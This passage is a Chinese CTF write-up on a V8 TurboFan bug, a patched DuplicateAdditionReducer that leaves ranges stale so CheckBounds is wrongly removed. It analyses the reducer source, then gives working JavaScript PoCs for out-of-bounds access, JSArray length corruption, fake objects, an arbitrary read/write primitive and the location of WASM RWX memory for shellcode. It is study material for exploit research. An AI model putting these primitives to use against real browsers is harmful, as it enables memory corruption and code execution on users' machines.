(3-3) NumberConstant node
从一道CTF浅尝V8源码

NumberConstant设置range

从一道CTF浅尝V8源码

其他的node也会一一通过typerphase设置type。

(4)TypedLoweringPhase

直到这个phase添加了比较多的reducer,我才意识到v8对于sea of nodes的整体遍历逻辑:v8在开始reduce之前,会从end开始进行深度优先遍历,将遍历的nodepush到stack_中,然后从stack_顶部开始调用Reduce进行处理。Reduce中循环遍历reducers_中的全部reducer,分别调用reducer->Reduce(node)处理。

bool PipelineImpl::CreateGraph(){}调用TypedLoweringPhase,其中添加的Reducer包括题目中patch的DuplicateAdditionReducerTypedLoweringPhase->Run()添加多个Reducer后,最后调用graph_reducer.ReduceGraph():

1void GraphReducer::ReduceGraph() { ReduceNode(graph()->end()); }

graph()->end()即获得Graph类的成员变量_end,其指向sea of nodes的最后一个opcode为end的结点。跟入ReduceNode,走读参考添加的注释

 1// srccompilergraph-reducer.cc: 48
2void GraphReducer::ReduceNode(Node* node) {
3  // 维护stack_栈,保存从end_开始遍历到的node
4  DCHECK(stack_.empty());  
5  // 维护revisit_队列,顾名思义及for中else if的代码,是有必要重新ReduceTop()处理的node
6  DCHECK(revisit_.empty());
7  // 将end_结点push到stack_  
8  Push(node);
9  for (;;) {
10    if (!stack_.empty()) {
11      // Process the node on the top of the stack, potentially pushing more or
12      // popping the node off the stack.
13      /* ReduceTop中,通过对stack_栈顶的node的inputs成员进行深度优先搜索,将遍历到的node都push到
14       * stack_
15      */

16      ReduceTop();
17    } else if (!revisit_.empty()) {
18      // If the stack becomes empty, revisit any nodes in the revisit queue.
19      Node* const node = revisit_.front();
20      revisit_.pop();
21      if (state_.Get(node) == State::kRevisit) {
22        // state can change while in queue.
23        Push(node);
24      }
25    } else {
26      // Run all finalizers.
27      // stack_和revisit_全部结点处理完,进行清理工作
28      for (Reducer* const reducer : reducers_) reducer->Finalize();
29
30      // Check if we have new nodes to revisit.
31      if (revisit_.empty()) break;
32    }
33  }
34  DCHECK(revisit_.empty());
35  DCHECK(stack_.empty());
36}

继续跟入GraphReducer::ReduceTop()(分析见注释),行37有个max_id,可以在sea of nodes中搜索到node

 1// srccompilergraph-reducer.cc: 120
2void GraphReducer::ReduceTop() {
3  // 取stack_.top
4  NodeState& entry = stack_.top();
5  Node* node = entry.node;
6  DCHECK_EQ(State::kOnStack, state_.Get(node));
7
8  if (node->IsDead()) return Pop();  // Node was killed while on stack.
9
10  // 取node的inputs集合
11  Node::Inputs node_inputs = node->inputs();
12
13  // Recurse on an input if necessary.
14  // 因为是递归,这里的entry.input_index记录了每个当前node访问到的inputs集合的下标
15  int start = entry.input_index < node_inputs.count() ? entry.input_index : 0;
16  for (int i = start; i < node_inputs.count(); ++i) {
17    Node* input = node_inputs[i];
18    // Recurse(input)将input push 到 stack_
19    if (input != node && Recurse(input)) {
20      // 当前的node的input_index + 1
21      entry.input_index = i + 1;
22      // 返回,继续遍历stack_.top
23      return;
24    }
25  }
26
27  // 重新检测一遍是否有未访问的结点
28  for (int i = 0; i < start; ++i) {
29    Node* input = node_inputs[i];
30    if (input != node && Recurse(input)) {
31      entry.input_index = i + 1;
32      return;
33    }
34  }
35
36  // Remember the max node id before reduction.
37  NodeId const max_id = static_cast<NodeId>(graph()->NodeCount() - 1);
38
39  // All inputs should be visited or on stack. Apply reductions to node.
40  // 所有的node都将被遍历或在栈上。
41  // Reduce(node),循环使用Phase入口处Add的所有reducer对当前node处理
42  Reduction reduction = Reduce(node);
43
44  // If there was no reduction, pop {node} and continue.
45  if (!reduction.Changed()) return Pop();
46
47  // Check if the reduction is an in-place update of the {node}.
48  Node* const replacement = reduction.replacement();
49  if (replacement == node) {
50    // In-place update of {node}, may need to recurse on an input.
51    Node::Inputs node_inputs = node->inputs();
52    for (int i = 0; i < node_inputs.count(); ++i) {
53      Node* input = node_inputs[i];
54      if (input != node && Recurse(input)) {
55        entry.input_index = i + 1;
56        return;
57      }
58    }
59  }
60
61  // After reducing the node, pop it off the stack.
62  // 处理完的node需要pop出去
63  Pop();
64
65  // Check if we have a new replacement.
66  if (replacement != node) {
67    Replace(node, replacement, max_id);
68  } else {
69    // Revisit all uses of the node.
70    for (Node* const user : node->uses()) {
71      // Don't revisit this node if it refers to itself.
72      if (user != node) Revisit(user);
73    }
74  }
75}

跟入GraphReducer::Reduce(Node* const node),在这个函数中,我们可以尝试定位题目添加的DuplicateAdditionReducer -> Reduce()处理我们的y = y + 1 +1结点,这是个思路,说不定这个相关结点被之前的phase处理的面目全非了

 1// srccompilergraph-reducer.cc: 81
2Reduction GraphReducer::Reduce(Node* const node) {
3  auto skip = reducers_.end();
4  // reducers_保存phase入口add的全部reducer
5  for (auto i = reducers_.begin(); i != reducers_.end();) {
6    if (i != skip) {
7      // 调用每一个reducer->Reduce()处理node
8      Reduction reduction = (*i)->Reduce(node);
9      if (!reduction.Changed()) {
10        // No change from this reducer.
11      } else if (reduction.replacement() == node) {
12        // {replacement} == {node} represents an in-place reduction. Rerun
13        // all the other reducers for this node, as now there may be more
14        // opportunities for reduction.
15        if (FLAG_trace_turbo_reduction) {
16          StdoutStream{} << "- In-place update of " << *node << " by reducer "
17                         << (*i)->reducer_name() << std::endl;
18        }
19        skip = i;
20        i = reducers_.begin();
21        continue;
22      } else {
23        // {node} was replaced by another node.
24        if (FLAG_trace_turbo_reduction) {
25          StdoutStream{} << "- Replacement of " << *node << " with "
26                         << *(reduction.replacement()) << " by reducer "
27                         << (*i)->reducer_name() << std::endl;
28        }
29        return reduction;
30      }
31    }
32    ++i;
33  }
34  if (skip == reducers_.end()) {
35    // No change from any reducer.
36    return Reducer::NoChange();
37  }
38  // At least one reducer did some in-place reduction.
39  return Reducer::Changed(node);
40}

ok,重新理一下思路,回看我们失败的poc(下面的代码),我们最初的想法是当x==0时,y=9007199254740991,走到行4时,y=9007199254740991+1+1 => y=9007199254740992 => y = y-9007199254740991 => 1;当x==1时,因为题目补丁的存在(补丁对x==0y的值无影响)y=9007199254740992+1+1 => y=9007199254740992+2 => y=9007199254740994 => y = 9007199254740994 - 9007199254740991 => 3

如上算式,最后y==3,而arr是长度为2的数组,最后return arr[y]时导致越界。这是我们最初构造poc时的想法,看似没有问题的。但poc最后print(res)结果为1.2,说明事实上并没有越界

 1let opt_me = (x) => {
2    let arr = new Array(1.1,1.2);
3  let y = ( x==1 ) ? 9007199254740992 : 9007199254740991;
4  y = y + 1 + 1
5  y = y - 9007199254740991// max=1, actual max=2
6  return arr[y];
7}
8
9opt_me(0);
10%OptimizeFunctionOnNextCall(opt_me);
11let res = opt_me(1);
12print(res);

按照我们之前走读的代码,我们继续深入调试一下失败的poc。如下图,首次调用到DuplicateAdditionReducer -> Reduce()时,当前处理的node的opcode为NumberConstant

从一道CTF浅尝V8源码

那么根据我们前文对代码的分析,我们可以从sea of nodes中定位到如下#45结点,因为这是从End结点进行深度优先搜索的第一个无inputs的结点,是符合我们上面断点调试的信息

从一道CTF浅尝V8源码

事实上从上图,我们看到#40#41两个add的node如下图,并不是题目补丁中switch的opcodekNumberAdd,这难道是poc不成功的原因?

从一道CTF浅尝V8源码

答案是否定的,在调试的过程中,当DuplicateAdditionReducer -> Reduce()处理到#40结点时确实因为不匹配opcode没能进入后续处理的代码,但是后续其他的reduce在处理这个node时将SpeculativeNumberAdd优化为kNumberAdd,对#41也同样如此。

如下图,断在#40node,单步跟入DuplicateAdditionReducer -> ReduceAddition(Node *node)

从一道CTF浅尝V8源码

如下图查看此时参数node的信息,三个DCHECK_EQ是没有问题的ControlInputCount => control_in_==0``EffectInputCount => effect_in_==0``ValueInputCount => value_in_==2,opcode也是kNumberAdd

从一道CTF浅尝V8源码

根据补丁代码,继续查看当前nodeleft_nodeopcode,如下图left->op_Phi,显然是不等于node的NumberAdd的,所以没能走入补丁的核心逻辑

从一道CTF浅尝V8源码

从sea of nodes也能看得出来left的opcode

从一道CTF浅尝V8源码

ok,我们本来的意图也是在下面这个NumberAdd结点进入补丁核心逻辑,从而合并右侧两个常量。
断点断下,变量信息如下图

从一道CTF浅尝V8源码

从图中可以看到left的opcode为NumberConstant?不应该是上面的kNumberAdd结点吗?难道右侧结点是kNumberAdd左侧结点是常量?ok,我们在调试器的监视中看下右侧结点的opcode

从一道CTF浅尝V8源码

node->inputs_.inline_[0]->op_->mnemonic_node->inputs_.inline_[1]->op_->mnemonic_分别为node结点的左右父节点的opcode的字符串表示,如上图所示,两个都是常量?我们从sea of nodes中看到的不应该是左add右常量吗?我们看下左结点的sea of nodes信息,如下图

从一道CTF浅尝V8源码

ok,到这我们大概就清楚了,左结点#40的type为range(9007199254740992, 9007199254740992 ),被优化为NumberConstant了,所以调试信息左右结点全显示为NumberConstant

那么问题又来了,我在构造poc时已经下意识防止出现这样的优化情况,所以使用了(x==1)? :这样的表达式,为的就是产生Phi结点,防止优化成NumberConstant。原来是因为,Phirange(9007199254740991, 9007199254740992),因为IEEE-754精度丢失的问题,导致其中每一个元素和+1+1运算的结果均为9007199254740992,所以导致#40在优化过程中还是被优化为了NumberConstant。最终还是没能走到补丁的核心代码,至此,poc为啥失败的原因就分析清楚了。

(5)SimplifiedLowering Phase

阅读这个phase主要是和优化CheckBounds结点相关。不像之前分析的Phase,调用位置在PipelineCompilationJob::Status PipelineCompilationJob::PrepareJobImpl()–>bool PipelineImpl::CreateGraph()函数中,SimplifiedLowering Phase的调用位置在PipelineCompilationJob::Status PipelineCompilationJob::ExecuteJobImpl()–>bool PipelineImpl::OptimizeGraph(Linkage* linkage)中,也有很多的phase运行在这个阶段。

跟踪SimplifiedLowering Phase的调用流:SimplifiedLoweringPhase::Run()–>SimplifiedLowering::LowerAllNodes()–>RepresentationSelector::Run()–>RepresentationSelector::VisitNode()中使用switch opcode处理各个结点,处理CheckBounds代码如下

 1      // srccompilersimplified-lowering.cc: 2401
2      case IrOpcode::kCheckBounds: {
3        const CheckParameters& p = CheckParametersOf(node->op());
4        // 左结点是index,获取其type
5        Type index_type = TypeOf(node->InputAt(0));
6
7        // 右结点时Length,获取其type
8        Type length_type = TypeOf(node->InputAt(1));
9        if (index_type.Is(Type::Integral32OrMinusZero())) {
10          // Map -0 to 0, and the values in the [-2^31,-1] range to the
11          // [2^31,2^32-1] range, which will be considered out-of-bounds
12          // as well, because the {length_type} is limited to Unsigned31.
13          VisitBinop(node, UseInfo::TruncatingWord32(),
14                     MachineRepresentation::kWord32);
15          if (lower() && lowering->poisoning_level_ ==
16                             PoisoningMitigationLevel::kDontPoison) {
17
18            // IsNone()的判断不太理解。
19              // 后续,判断index的max < length的min,且index的min >= 0.0
20              // 则直接使用左结点替换本checkbounds
21            if (index_type.IsNone() || length_type.IsNone() ||
22                (index_type.Min() >= 0.0 &&
23                 index_type.Max() < length_type.Min())) {
24              // The bounds check is redundant if we already know that
25              // the index is within the bounds of [0.0, length[.
26              DeferReplacement(node, node->InputAt(0));
27            }
28          }
29        } else {
30          VisitBinop(
31              node,
32              UseInfo::CheckedSigned32AsWord32(kIdentifyZeros, p.feedback()),
33              UseInfo::TruncatingWord32(), MachineRepresentation::kWord32);
34        }
35        return;
36      }

CheckBoundsindex范围来自NumberSub结点的range,而在补丁代码中合并两个常量结点后,并没有去更新相关结点的range(更新range的相关函数UpdateRange)

1// -----------------------------------------------------------------------------
2// Union and intersection
3
4Type Type::Intersect(Type type1, Type type2, Zone* zone) {

导致了CheckBounds的错误消除。我们可以看TypedLowering Phase后的sea of nodes

从一道CTF浅尝V8源码

成功的POC

 1let opt_me = (x) => {
2  let arr = new Array(1.1,1.2,1.3,1.4);
3  let y = ( x==1 ) ? 9007199254740992 : 9007199254740989;
4  y = y + 1 + 1;
5  y = y - 9007199254740989// max=3, actual max=5
6  return arr[y];
7}
8
9
10opt_me(0);
11%OptimizeFunctionOnNextCall(opt_me);
12let res = opt_me(1);
13print(res);

上述poc运行结果如下,越界读取了arr的值

从一道CTF浅尝V8源码

分别看下SimplifiedLowering运行前后,CheckBounds结点优化的情况,优化前LoadElement前,CheckBounds结点存在;从下图的After Typerphase得知CheckBounds Range(2,3),其就是x分别等于90071992547409929007199254740989计算得到,其范围恒小于数组的长度。在SimplifiedLowering后,CheckBounds被优化掉,从而导致最终的越界成功

从一道CTF浅尝V8源码


从一道CTF浅尝V8源码

Exploitation

这一节部分linux的调试信息是翻译introduction to turbofan的内容,win下的代码和linux的思路基本是一致的。文章最后贴出在win下调试的exp。

扩大越界范围

 1let ab = new ArrayBuffer(8);
2let fv = new Float64Array(ab);
3let dv = new BigUint64Array(ab);
4
5let f2i = (f) => {
6  fv[0] = f;
7  return dv[0];
8}
9
10let hexprintablei = (i) => {
11  return (i).toString(16).padStart(16,"0");
12}
13
14let debug = (x,z, leak) => {
15  print("oob index is " + z);
16  print("length is " + x.length);
17  print("leaked 0x" + hexprintablei(f2i(leak)));
18  //%DebugPrint(x);
19  %SystemBreak();
20  //%DumpObjects(x,13); // 23 & 3 to dump the jsarray's elements
21};
22
23let opt_me = (x) => {
24  let arr = new Array(1.1,1.2,1.3,1.4);
25  let y = (( x==1 ) ? 9007199254740992 : 9007199254740989) + 1 + 1;
26  y = y - 9007199254740989// max=3, actual max=5
27  let leak = arr[y];
28  %DebugPrint(arr);
29  if (x == 1)
30    debug(arr,y, leak);
31  return leak;
32}
33
34
35opt_me(0);
36%OptimizeFunctionOnNextCall(opt_me);
37let res = opt_me(1);

调试输出如下,行7是越界读取的数据

 1oob index is 5
2length is 4
3---------------------------------------------------
4Begin compiling StoreFastElementStub using Turbofan
5---------------------------------------------------
6Finished compiling method StoreFastElementStub using Turbofan
7leaked 0x0000017411f82d29
8DebugPrint: 000000379AE0DF41: [JSArray]
9 - map0x018577982931 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
10 - prototype: 0x0091e3286469 <JSArray[0]>
11 - elements: 0x00379ae0df11 <FixedDoubleArray[4]> [PACKED_DOUBLE_ELEMENTS]
12 - length4
13 - properties: 0x017411f82d29 <FixedArray[0]> {
14    #length: 0x01cd60b1cd39 <AccessorInfo> (const accessor descriptor)
15 }
16 - elements: 0x00379ae0df11 <FixedDoubleArray[4]> {
17           01.1
18           11.2
19           21.3
20           31.4
21 }
220000018577982931: [Map]
23 - type: JS_ARRAY_TYPE
24 - instance size32
25 - inobject properties: 0
26 - elements kind: PACKED_DOUBLE_ELEMENTS

elements对应的内存如下,可以看到上面越界的数据位于0x00379ae0df48

从一道CTF浅尝V8源码

(1)Corrupting a JSArray

上图的FixedDoubleArray的elements里,第二个成员也是数组长度,但是这个长度仅仅是提供fixed array的内存申请的信息,最终判断数组长度的还是JSArraylength。如下的情况,JSArraylength为1,而FixedArraylength为17

 1d8> let a = new Array(0);
2undefined
3d8> a.push(1);
41
5d8> %DebugPrint(a)
6DebugPrint: 0xd893a90aed1: [JSArray]
7- map: 0x18bbbe002ca1 <Map(HOLEY_SMI_ELEMENTS)> [FastProperties]
8- prototype: 0x1cf26798fdb1 <JSArray[0]>
9- elements: 0x0d893a90d1c9 <FixedArray[17]> [HOLEY_SMI_ELEMENTS]
10- length: 1
11- properties: 0x367210500c19 <FixedArray[0]> {
12#length: 0x0091daa801a1 <AccessorInfo> (const accessor descriptor)
13}
14- elements: 0x0d893a90d1c9 <FixedArray[17]> {
150: 1
161-16: 0x3672105005a9 <the_hole>
17 }

通过修改poc,利用精度丢失越界读写JSArraylength。修改了arr1自身的JSArraylength

 1let AB_LENGTH = 0x233;
2let NEW_LENGTH64  = 0x0000006400000000;
3let ab = new ArrayBuffer(8);
4let fv = new Float64Array(ab);
5let dv = new BigUint64Array(ab);
6
7let f2i = (f) => {
8  fv[0] = f;
9  return dv[0];
10}
11
12let i2f = (i) => {
13  dv[0] = BigInt(i);
14  return fv[0];
15}
16
17let tagFloat = (f) => {
18  fv[0] = f;
19  dv[0] += 1n;
20  return fv[0];
21}
22
23let hexprintablei = (i) => {
24  return (i).toString(16).padStart(16,"0");
25}
26
27let debug = (x,z, leak) => {
28  print("oob index is " + z);
29  print("length is " + x.length);
30  print("leaked 0x" + hexprintablei(f2i(leak)));
31  //%DebugPrint(x);
32  %SystemBreak();
33  //%DumpObjects(x,13); // 23 & 3 to dump the jsarray's elements
34};
35
36let opt_me = (x) => {
37  let arr = new Array(1.1,1.2,1.3,1.4,1.5,1.6,1.7);
38  let y = (( x==1 ) ? 9007199254740992 : 9007199254740989) + 1 + 1;
39  y = y - 9007199254740989// max=2, actual max=5
40  y = y * 2// max=4, actual max=10
41  arr[y] = 2.121995790965e-312;  // corrupt arr.length => i2f(NEW_LENGTH64)
42
43  let leak = arr[y];
44  let arr2 = Array.of(1.2);
45  let evil_ab = new ArrayBuffer(AB_LENGTH);
46
47  if (x == 1){
48    %DebugPrint(arr);
49    debug(arr,y, leak);
50    print("array's length: "+ arr.length + " + " + i2f(NEW_LENGTH64));
51    print("oob read: " + arr[20]);
52  }
53  return leak;
54}
55opt_me(0);
56%OptimizeFunctionOnNextCall(opt_me);
57let res = opt_me(1);

输出如下,行5看到arr对象的length修改为0x64

 1DebugPrint: 000003517A90E181: [JSArray]
2 - map: 0x032b3e982931 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
3 - prototype: 0x00a00e086469 <JSArray[0]>
4 - elements: 0x03517a90e139 <FixedDoubleArray[7]> [PACKED_DOUBLE_ELEMENTS]
5 - length: 100
6 - properties: 0x009779682d29 <FixedArray[0]> {
7    #length: 0x02b5c4e1cd39 <AccessorInfo> (const accessor descriptor)
8 }
9 - elements: 0x03517a90e139 <FixedDoubleArray[7]> {
10           0: 1.1
11           1: 1.2
12           2: 1.3
13           3: 1.4
14           4: 1.5
15           5: 1.6
16           6: 1.7
17 }
180000032B3E982931: [Map]
19 - type: JS_ARRAY_TYPE
20 - instance size: 32
21 - inobject properties: 0
22 - elements kind: PACKED_DOUBLE_ELEMENTS
23 - unused property fields: 0
24 - enum length: invalid
25 - back pointer: 0x032b3e9828e1 <Map(HOLEY_SMI_ELEMENTS)>
26 - prototype_validity cell: 0x02b5c4e02201 <Cell value= 1>
27 - instance descriptors #1: 0x00a00e0866c9 <DescriptorArray[5]>
28 - layout descriptor: 0000000000000000
29 - transitions #1: 0x00a00e086639 <TransitionArray[4]>Transition array #1:
30     0x0097796c5511 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x032b3e982981 <Map(HOLEY_DOUBLE_ELEMENTS)>
31
32 - prototype: 0x00a00e086469 <JSArray[0]>
33 - constructor: 0x00a00e086229 <JSFunction Array (sfi = 000002B5C4E13111)>
34 - dependent code: 0x009779682391 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
35 - construction counter: 0
36
37oob index is 10
38length is 100
39leaked 0x0000006400000000
40array's length: 100 + 2.121995790965e-312
41
42
43#

44# Fatal error in ../../..src/objects/fixed-array-inl.h, line 181
45# Debug check failed: index >= 0 && index < this->length().
46#
47#
48#
49#FailureMessage Object: 00000023D3FFD5F8
50==== C stack trace ===============================
51
52        v8::base::debug::StackTrace::StackTrace [0x00007FFBEEEB2C7C+44] (F:Researchchrome2v8v8srcbasedebugstack_trace_win.cc:168)
53        v8::platform::`anonymous namespace'::PrintStackTrace [0x00007FFBE61AF7E4+36] (F:Researchchrome2v8v8srclibplatformdefault-platform.cc:27)
54        ......

同样我们在内存中也可以看到JSArraylength修改为0x64

从一道CTF浅尝V8源码

上面测试代码最后crash了,调用栈如下

从一道CTF浅尝V8源码

调用栈的第5层,调试信息如下,this指向FixedArrayindex是测试代码里越界的下标

从一道CTF浅尝V8源码

DCHECKdebug编译时的宏代码如下,release时则不存在

 1// srcbaselogging.h: 55
2#ifdef DEBUG
3
4#define DCHECK_WITH_MSG(condition, message)   
5  do {                                        
6    if (V8_UNLIKELY(!(condition))) {          
7      V8_Dcheck(__FILE__, __LINE__, message); 
8    }                                         
9  } while (0)
10#define DCHECK(condition) DCHECK_WITH_MSG(condition, #condition)

为后续调试方便我这里直接在源码中修改后重新编译。

后续调试,ArrayindexOf搜索下标,但是debug版本在CSA会检测indexOf的index,同样程序会crash,也是DEBUG模式的断言,这里也注释掉CSA_ASSERT

 1// srccode-stub-assembler.cc: 2384
2TNode<Float64T> CodeStubAssembler::LoadFixedDoubleArrayElement(
3    SloppyTNode<FixedDoubleArray> object, Node* index_node,
4    MachineType machine_type, int additional_offset,
5    ParameterMode parameter_mode, Label* if_hole) {
6    CSA_ASSERT(this, IsFixedDoubleArray(object));
7    DCHECK_EQ(additional_offset % kPointerSize, 0);
8    CSA_SLOW_ASSERT(this, MatchesParameterMode(index_node, parameter_mode));
9    int32_t header_size =
10        FixedDoubleArray::kHeaderSize + additional_offset - kHeapObjectTag;
11    TNode<IntPtrT> offset = ElementOffsetFromIndex(
12        index_node, HOLEY_DOUBLE_ELEMENTS, parameter_mode, header_size);
13    /*CSA_ASSERT(this, IsOffsetInBounds(
14    offset, LoadAndUntagFixedArrayBaseLength(object),
15    FixedDoubleArray::kHeaderSize, HOLEY_DOUBLE_ELEMENTS));*/

16    return LoadDoubleWithHoleCheck(object, offset, if_hole, machine_type);
17}

(2)Getting fake object

PACKED_ELEMENTS类型的数组能存储指向JS OBJ的tagged pointer(+1),V8的elements kind提供了当前JsArray存储元素的类型信息。例:

从一道CTF浅尝V8源码
1d8> var objects = new Array(new Object())
2d8> %DebugPrint(objects)
3DebugPrint: 0xd79e750aee9: [JSArray]
4- elements: 0x0d79e750af19 <FixedArray[1]> {
50: 0x0d79e750aeb1 <Object map = 0x19c550d80451>
6}
70x19c550d82d91: [Map]
8 - elements kind: PACKED_ELEMENTS

如果可以破坏PACKED_ELEMENTS的数组元素,那么就可以存入一个指向精心构造的对象的指针。所以,我们现在基本的思路就是在这样的数组中存入一个backing_store + 1(tagged)的地址。

进行一个简单的测试,测试一下存入0x41414141
任何object的第一个成员都是一个指向map的指针(map描述对象的类型信息),在其他的引擎中成为Shape或者Structure
所以,当v8将0x41414141解析为obj时,我们希望能得到该地址的解引用crash。

 1// evil_ab是ArrayBuffer对象,另声明packed_elements_array数组
2evil_ab = new ArrayBuffer(AB_LENGTH);
3packed_elements_array = Array.of(MARK1SMI,Math,MARK2SMI);
4
5let view = new BigUint64Array(evil_ab);
6// fakeobj -> fakemap
7view[0] = 0x414141414141n; // initialize the fake object with this value as a map pointer
8
9// 利用arr2的越界修改packed_elements_array的Math对象指针,为evil_ab fakeobj
10arr2[index_to_object_pointer] = tagFloat(evil_ab_backingstore_ptr);
11packed_elements_array[1].x; // crash on 0x414141414141 because it is used as a map pointer

(3)Arbitrary read/write primitive

思路是伪造一个backing_store可控的ArrayBuffer。如下demo,任意写的基本实现

 1let view = new BigUint64Array(evil_ab);
2for (let i = 0; i < ARRAYBUFFER_SIZE / PTR_SIZE; ++i) {
3  // 通过arr2的越界读写复制evil_ab的object信息到view对象的ArrayBuffer中,即fakeobj
4  view[i] = f2i(arr2[ab_len_idx-3+i]);
5
6  // 非length字段 且 非tagged obj ptr
7  if (view[i] > 0x10000 && !(view[i] & 1n))
8    // 即伪造backing_store指针,也是obj的第五个成员
9    view[i] = 0x42424242n; // backing_store
10}
11// [...]
12// 修改packed_elements_array的Math对象指针指向fakeobj
13arr2[magic_mark_idx+1] = tagFloat(fbackingstore_ptr); // object pointer
14// [...]
15// 利用rw_view实现任意写
16let rw_view = new Uint32Array(packed_elements_array[1]);
17rw_view[0] = 0x1337// *0x42424242 = 0x1337

输出如下

 1$ d8 rw.js 
2[+] corrupted JSArray's length
3[+] Found backingstore pointer : 0000555c593d9890
4Received signal 11 SEGV_MAPERR 000042424242
5==== C stack trace ===============================
6 [0x555c577b81a4]
7 [0x7ffa0331a390]
8 [0x555c5711b4ae]
9 [0x555c5728c967]
10 [0x555c572dc50f]
11 [0x555c572dbea5]
12 [0x555c572dbc55]
13 [0x555c57431254]
14 [0x555c572102fc]
15 [0x555c57215f66]
16 [0x555c576fadeb]
17[end of stack trace]

如上思路实现任意读写,或者可以伪造float类型obj,通过elements指针实现任意读写,但是写数据过程中会存在数据的破坏,ArrayBuffer不会。

(4)Overwriting WASM RWX memory

至此,我们拥有了AAR/W能力,完成利用的最后一块拼图最简单的思路,找一块RWX的内存,写入shellcode并执行,这比ROP或者JIT CODE REUSE方便多了。
V8以前将JITed codeofJSFunction放在RWX的内存中,但是后来修改了:

1/*
2https://source.chromium.org/chromium/v8/v8.git/+/dde25872f58951bb0148cf43d6a504ab2f280485:src/flag-definitions.h;l=717
3*/

4DEFINE_BOOL(write_protect_code_memory, V8_WRITE_PROTECT_CODE_MEMORY_BOOL,
5            "write protect code memory")

但是,Andrea Biondo发现,WASM is still using RWX memory。
所以,我们可以找到一个WASM实例,定位到其JumpTableStart,即指向RWX的指针。步骤如下:

  • 获取JSFunction的shared function info;

  • 从shared function info中获取WASM的exported function信息;

  • 从exported function中获取WASM实例;

  • 从WASM实例获取JumpTableStart域;

通过Jeremy_x86开发的gdb插件可以比较轻松的识别到JumpTableStart(v8_doare_helpers),通过命令%DumpObjects识别如下

1----- [ WASM_INSTANCE_TYPE : 0x118 : REFERENCES RWX MEMORY] -----
2[...]
30x00002fac7911ec20    0x0000087e7c50a000    JumpTableStart [RWX]

测试手动定位一下,测试代码sample_wasm.js

 1d8> load("sample_wasm.js")
2d8> %DumpObjects(global_test,10)
3----- [ JS_FUNCTION_TYPE : 0x38 ] -----
40x00002fac7911ed10    0x00001024ebc84191    MAP_TYPE    
50x00002fac7911ed18    0x00000cdfc0080c19    FIXED_ARRAY_TYPE    
60x00002fac7911ed20    0x00000cdfc0080c19    FIXED_ARRAY_TYPE    
70x00002fac7911ed28    0x00002fac7911ecd9    SHARED_FUNCTION_INFO_TYPE   <=================
80x00002fac7911ed30    0x00002fac79101741    NATIVE_CONTEXT_TYPE    
90x00002fac7911ed38    0x00000d1caca00691    FEEDBACK_CELL_TYPE    
100x00002fac7911ed40    0x00002dc28a002001    CODE_TYPE    
11----- [ TRANSITION_ARRAY_TYPE : 0x30 ] -----
120x00002fac7911ed48    0x00000cdfc0080b69    MAP_TYPE    
130x00002fac7911ed50    0x0000000400000000    
140x00002fac7911ed58    0x0000000000000000    
15function 1() { [native code] }
16
17
18
19d8>
 %DumpObjects(0x00002fac7911ecd9,11)
20----- [ SHARED_FUNCTION_INFO_TYPE : 0x38 ] -----
210x00002fac7911ecd8    0x00000cdfc0080989    MAP_TYPE    
220x00002fac7911ece0    0x00002fac7911ecb1    WASM_EXPORTED_FUNCTION_DATA_TYPE   <=========== 
230x00002fac7911ece8    0x00000cdfc00842c1    ONE_BYTE_INTERNALIZED_STRING_TYPE    
240x00002fac7911ecf0    0x00000cdfc0082ad1    FEEDBACK_METADATA_TYPE    
250x00002fac7911ecf8    0x00000cdfc00804c9    ODDBALL_TYPE    
260x00002fac7911ed00    0x000000000000004f    
270x00002fac7911ed08    0x000000000000ff00    
28----- [ JS_FUNCTION_TYPE : 0x38 ] -----
290x00002fac7911ed10    0x00001024ebc84191    MAP_TYPE    
300x00002fac7911ed18    0x00000cdfc0080c19    FIXED_ARRAY_TYPE    
310x00002fac7911ed20    0x00000cdfc0080c19    FIXED_ARRAY_TYPE    
320x00002fac7911ed28    0x00002fac7911ecd9    SHARED_FUNCTION_INFO_TYPE    
3352417812098265
34
35
36d8>
 %DumpObjects(0x00002fac7911ecb1,11)
37----- [ WASM_EXPORTED_FUNCTION_DATA_TYPE : 0x28 ] -----
380x00002fac7911ecb0    0x00000cdfc00857a9    MAP_TYPE    
390x00002fac7911ecb8    0x00002dc28a002001    CODE_TYPE    
400x00002fac7911ecc0    0x00002fac7911eb29    WASM_INSTANCE_TYPE  <========================  
410x00002fac7911ecc8    0x0000000000000000    
420x00002fac7911ecd0    0x0000000100000000    
43----- [ SHARED_FUNCTION_INFO_TYPE : 0x38 ] -----
440x00002fac7911ecd8    0x00000cdfc0080989    MAP_TYPE    
450x00002fac7911ece0    0x00002fac7911ecb1    WASM_EXPORTED_FUNCTION_DATA_TYPE    
460x00002fac7911ece8    0x00000cdfc00842c1    ONE_BYTE_INTERNALIZED_STRING_TYPE    
470x00002fac7911ecf0    0x00000cdfc0082ad1    FEEDBACK_METADATA_TYPE    
480x00002fac7911ecf8    0x00000cdfc00804c9    ODDBALL_TYPE    
490x00002fac7911ed00    0x000000000000004f    
5052417812098225
51
52
53
54d8>
 %DumpObjects(0x00002fac7911eb29,41)
55----- [ WASM_INSTANCE_TYPE : 0x118 : REFERENCES RWX MEMORY] -----
560x00002fac7911eb28    0x00001024ebc89411    MAP_TYPE    
570x00002fac7911eb30    0x00000cdfc0080c19    FIXED_ARRAY_TYPE    
580x00002fac7911eb38    0x00000cdfc0080c19    FIXED_ARRAY_TYPE    
590x00002fac7911eb40    0x00002073d820bac1    WASM_MODULE_TYPE    
600x00002fac7911eb48    0x00002073d820bcf1    JS_OBJECT_TYPE    
610x00002fac7911eb50    0x00002fac79101741    NATIVE_CONTEXT_TYPE    
620x00002fac7911eb58    0x00002fac7911ec59    WASM_MEMORY_TYPE    
630x00002fac7911eb60    0x00000cdfc00804c9    ODDBALL_TYPE    
640x00002fac7911eb68    0x00000cdfc00804c9    ODDBALL_TYPE    
650x00002fac7911eb70    0x00000cdfc00804c9    ODDBALL_TYPE    
660x00002fac7911eb78    0x00000cdfc00804c9    ODDBALL_TYPE    
670x00002fac7911eb80    0x00000cdfc00804c9    ODDBALL_TYPE    
680x00002fac7911eb88    0x00002073d820bc79    FIXED_ARRAY_TYPE    
690x00002fac7911eb90    0x00000cdfc00804c9    ODDBALL_TYPE    
700x00002fac7911eb98    0x00002073d820bc69    FOREIGN_TYPE    
710x00002fac7911eba0    0x00000cdfc00804c9    ODDBALL_TYPE    
720x00002fac7911eba8    0x00000cdfc00804c9    ODDBALL_TYPE    
